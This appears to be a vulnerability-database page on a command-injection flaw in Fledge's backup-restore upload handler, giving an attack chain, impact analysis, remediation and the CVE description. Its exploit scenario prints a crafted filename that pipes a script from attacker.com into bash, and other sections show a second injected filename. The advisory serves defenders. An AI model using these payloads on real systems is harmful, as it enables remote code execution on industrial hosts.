Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain Fledge admin credentials
-
DeliveryCraft tar archive with injected filename
-
ExploitUpload archive to /backup-restore API endpoint
-
ExecutionBypass prefix/suffix filename validation
-
Persistos.system() invokes shell with embedded command substitution
-
ImpactAchieve arbitrary OS command execution as Fledge service user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated Fledge administrator session - the CVSS vector PR:H confirms high-privilege authentication is necessary. The attacker must have access to the Fledge REST API backup-restore upload endpoint (network reachability, AV:N). No special non-default configuration is required beyond having admin credentials; the vulnerable code path is exercised by the standard backup upload workflow. Exploitation is limited by: (1) the admin privilege prerequisite, ruling out unauthenticated or low-privilege attackers; (2) the need to reach the Fledge API over the network, which in well-segmented IIoT deployments should be restricted to an operations VLAN. No requirement for user interaction from a third party (UI:N), and the attack works against any version per the CPE wildcard. |
| Impact | The CVSS 7.2 score with vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H accurately captures the risk envelope. The high-privilege requirement (PR:H) is the critical limiting factor - exploitation requires an authenticated Fledge administrator account, which substantially narrows the realistic attacker pool to insiders, credential-compromised accounts, or post-initial-access lateral movement scenarios. Attack complexity is genuinely low (AC:L): crafting the malicious filename requires no special tooling, only understanding of shell metacharacter syntax. Full CIA impact (C:H/I:H/A:H) is justified because arbitrary OS command execution as the Fledge service user gives complete control over the host process and any data it can access. No EPSS score was provided in the intelligence data, and neither KEV listing nor public POC has been identified, so real-world exploitation probability cannot be quantified from available signals. The threat is most credible in environments with weak admin credential hygiene, shared admin accounts, or where Fledge's API is exposed to a broad internal network rather than tightly scoped to operators. |
| Exploit ScenarioDerived | An attacker who has obtained Fledge administrator credentials - through phishing, credential reuse, or lateral movement - crafts a tar archive whose first member is named fledge_backup_$(curl attacker.com/shell.sh|bash).db. When this archive is uploaded via the backup-restore API, upload_backup() extracts the filename, passes the startswith/endswith checks, and builds the shell command string; os.system() then invokes /bin/sh -c which evaluates the $() substitution and executes the attacker-controlled command as the Fledge service process user. No public POC has been identified, but the technique requires only standard Unix tar and shell knowledge. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 05, 2026
Command injection in Fledge's backup-restore upload handler allows an authenticated administrator to execute arbitrary OS commands on the underlying host by uploading a crafted tar archive. The vulnerable function upload_backup() in python/fledge/services/core/api/backup_restore.py constructs a shell command via unsanitized string formatting and passes it directly to os.system(), while filename validation only checks prefix and suffix - a filename such as fledge_backup_$(id>/tmp/pwn).db satisfies both checks while embedding a shell command substitution. CVSS 7.2 (PR:H) reflects the admin privilege prerequisite; no public exploit or CISA KEV listing has been identified at time of analysis, but the technique is trivially reproducible given access.
RemediationAI
The primary fix is to replace the os.system() string-formatting pattern with either shlex.quote() applied to all user-controlled path components before interpolation, or - preferably - the list-form subprocess.run(['cp', source, backup_path], check=True) which bypasses the shell entirely and eliminates the injection surface. The fix must be applied to the upload_backup() function in python/fledge/services/core/api/backup_restore.py; review adjacent functions in the same file for the same anti-pattern. Until a patched release is available (no fixed version confirmed at time of analysis; track https://github.com/fledge-iot/fledge for releases), compensating controls include: restricting access to the Fledge REST API to a dedicated operations network segment rather than broad LAN/WAN exposure; enforcing multi-factor authentication or strong credential controls on administrator accounts; and auditing which accounts hold admin privileges to minimize the blast radius of credential compromise. Disabling the backup-restore upload endpoint entirely is the most effective workaround if that feature is not operationally required.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Fledge is an open-source IIoT data historian and edge processing platform (cpe:2.3:a:fledge-iot:fledge:*:*:*:*:*:*:*:*). The flaw resides in the Python REST API layer at python/fledge/services/core/api/backup_restore.py. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), specifically the pattern: cmd = 'cp {} {}'.format(source, backup_path) followed by os.system(cmd). Python's os.system() invokes /bin/sh -c, which interprets shell metacharacters including $() command substitution, backticks, semicolons, and pipes. The only guard - a startswith()/endswith() check on the tar member's filename - is a classic allowlist bypass; it checks prefix and suffix independently, leaving the middle of the string entirely unvalidated. The correct remediation pattern would use shlex.quote() on all interpolated paths, or preferably replace os.system() with subprocess.run() in list form (e.g., ['cp', source, backup_path]) which never invokes a shell.
Know when Fledge gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Network-accessible API (AV:N), trivial filename crafting (AC:L), admin credentials required per description (PR:H), arbitrary command execution yields full CIA impact.
Primary rating from Vendor (TuranSec).
CVSS VectorVendor: TuranSec
DescriptionCVE.org
Fledge's backup-restore upload handler, upload_backup() (python/fledge/services/core/api/backup_restore.py), takes the first extracted tar member's filename (tar_file_names[0]) and builds a shell command via string formatting: cmd = "cp {} {}".format(source, backup_path); ret_code = os.system(cmd). The only pre-check on the filename is a prefix/suffix match (startswith(backup_prefix), endswith(valid_extensions)), which a name such as fledge_backup_$(id>/tmp/pwn).db satisfies while still injecting a shell command substitution. Because os.system() invokes a shell and no quoting (shlex.quote, list-form subprocess) is applied, an admin uploading a crafted backup archive achieves arbitrary OS command execution.
Executive ViewAI
Fledge's backup-restore functionality contains a command injection vulnerability allowing any administrator to execute arbitrary operating system commands and compromise the underlying host system. In multi-user administrative environments, this creates significant risk if admin credentials are compromised or misused. Immediate restrictions on backup access and enhanced monitoring are essential to prevent full infrastructure compromise.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict backup-restore API access to a minimal set of essential administrators; (2) enforce multi-factor authentication for all accounts with backup-restore permissions; (3) disable the backup-restore endpoint if not actively required for operations; (4) implement comprehensive audit logging and alerting on all backup file uploads with detection rules for suspicious shell metacharacters in filenames; (5) perform monthly forensic reviews of backup-related activity logs; (6) implement application-level filename validation to reject archive uploads containing unusual character patterns or special shell characters.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-53369
GHSA-6h3f-43g6-3hqh
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB